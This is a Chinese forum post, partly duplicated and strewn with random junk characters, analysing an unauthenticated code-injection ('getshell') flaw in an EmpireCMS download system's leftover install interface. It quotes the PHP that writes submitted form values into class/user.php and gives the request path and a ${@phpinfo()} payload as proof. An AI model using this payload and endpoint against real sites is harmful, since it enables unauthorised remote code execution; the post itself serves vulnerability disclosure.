这是帝国的一套下载系统如图 ps(不需要任何账户和密码,直接写shell) 由于很多站是由于下载要整合discuz等等一些论坛.... 而帝国他又有一个万能接口,如图 而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码 当我们- C- |: |; A& E) y g b5 O8 j
9 u* {/ _' u; D/ S# L( b: b
3 z( G3 `+ u& u9 i% U, U
这是帝国的一套下载系统 如图% H6 s' N5 u2 {
ps(不需要任何账户和密码,直接写shell)
3 Y1 K$ H& J( y由于很多站是由于下载要整合discuz 等等一些论坛....) `$ Y1 t+ j5 e% A3 x: F6 P
) o0 H% Z) t, w) k而帝国他又有一个万能接口,如图
* I" ?- B! Q. H6 |8 C- L! z; u# I3 I3 ~( v# Q& j# D$ \8 O
8 T: }0 t: [% A3 ` u而这个接口很多人又不会删除,由此他带来了很大的安全隐患,导致直接getshell,下面分析代码
% a% `# s" e7 T2 R
2 P% Z) ?5 B: q! [当我们提交的时候,他地址是提交到index.php?install=1&setup=SetConfig 1. if($_GET['install']==1) 2. { 3. @include("../class/connect.php"); 4. @include("../class/db_sql.php"); 5. @include("../class/functions.php"); 6. $link=db_connect(); 7. $empire=new mysqlquery(); 8. if($setup=="SetConfig") 9. { 10. SetUserCOMConfig($_POST); 11. } 12. elseif($setup=="alter") 13. { 14. InstallUserCOM(); 15. } 16. elseif($setup=="update") 17. { 18. UpdateUserCOM(); 19. } 20. else 21. {} 复制代码 他这里开始调用一个SetUserCOMConfig的函数了,我们继续跟踪
8 u/ N9 H6 Q* K/ _0 L0 P; {3 `
; ?/ o5 q+ [9 v' P4 S; M5 s5 B( A在data/fun.php中的15行2 _0 Y4 W# ?% m# ^
) L4 m2 Y( M) {+ {1 f2 O7 L' S我们可以看到这个函数 1. function SetUserCOMConfig($add){ 2. $filetext=ReadFiletext('data/user.php'); 3. if(empty($filetext)) 4. { 5. InstallShowMsg('文件 /update/data/user.php 丢失,安装不成功.'); 6. } 7. $vr=explode(",",ReturnRepUserVar()); 8. $count=count($vr); 9. for($i=0;$i<$count;$i++) 10. { 11. $filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext); 12. } 13. //写入配置文件 14. $fp=@fopen("../class/user.php","w"); 15. if(!$fp) 16. {6 p: I5 R; J6 S; ]
17. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 18. } 19. @fputs($fp,$filetext); 20. @fclose($fp); 复制代码 .....//省略若干
- \3 Z b9 e) ]6 ]* L! L5 R0 ~ L+ H A( T+ r" v% L1 H
这里的他将$filetext=str_replace("[!@--".$vr[$i]."--@!]",$add[$vr[$i]],$filetext);8 Y' J# T" B& Q( o. D1 m
5 I( _; v& a' Q! Q% \8 l- f/ `4 B5 U他将传进来的变量进行了切割,然后赋给了$filetext
; D/ t& g4 ~2 C0 S+ S" _- P6 T. e1 g3 l @; ]# X9 P
然后看下面 1. //写入配置文件 2. $fp=@fopen("../class/user.php","w"); 3. if(!$fp) 4. { 5. InstallShowMsg(' /class/user.php 文件权限没有设为0777,安装不成功.'); 6. } 7. @fputs($fp,$filetext); 复制代码 打开了一个class/user.php文件,然后将$filetext写入了 T2 H+ ^ v; K, S; L
8 Q( S1 i1 n# Y g4 M8 f0 S我们看看写入的结果,随便填一个
7 q) K/ }& a5 g o' h2 q/ K- t
- I8 U* A7 N# W4 J# p& W3 W
7 N" L1 X/ j# `' A2 `/ P. i: L/ |6 ^ B& `' I
4 z2 d, X2 m3 T j G7 e9 } K* a7 E1 v' w# V
& n) G, t! j. G2 a/ y& S) A; M+ L5 w8 ]* V1 L
7 m1 J3 W! W1 L4 D0 \+ o
9 d3 o0 O5 }3 G
3 c, _% E$ x% `: Z4 }/ Y& t
! H1 p# j0 }2 g$ N3 b& g# Z$ j$ i; |9 a; D5 i; Y$ e$ H1 M- ^0 I
4 Z) v5 }# U( f4 [% b% B- T: P" J) T
|9 \0 ^5 `+ J- B' l6 C; w8 j# ?; J0 c! N1 l
7 Y5 i, [+ p$ t* h, d5 [+ r% C
) |' r0 z4 u( \; `' d& H+ R' `2 N" @
7 ~( w2 q' ^" H+ e
/ i X' y) T; `. E
所以我们淫荡点,写个${@phpinfo()}试试 - i' e. |! g' T) m0 s0 j
然后访问以下class/user.php这个文件
( ^8 q' b4 P1 Q4 K% D+ q& W' r日了吧 & b/ J3 H; l7 r* i+ d
9 D9 ]( J/ h7 O) `9 \' r7 M* C# k: q+ ?: R1 s) H$ w6 C
( n& P8 V2 v0 L5 b8 L5 A. J
# D$ g! t; }- W* D7 t6 B% m. M" x$ p8 K% Q* e; F+ _# R( T
|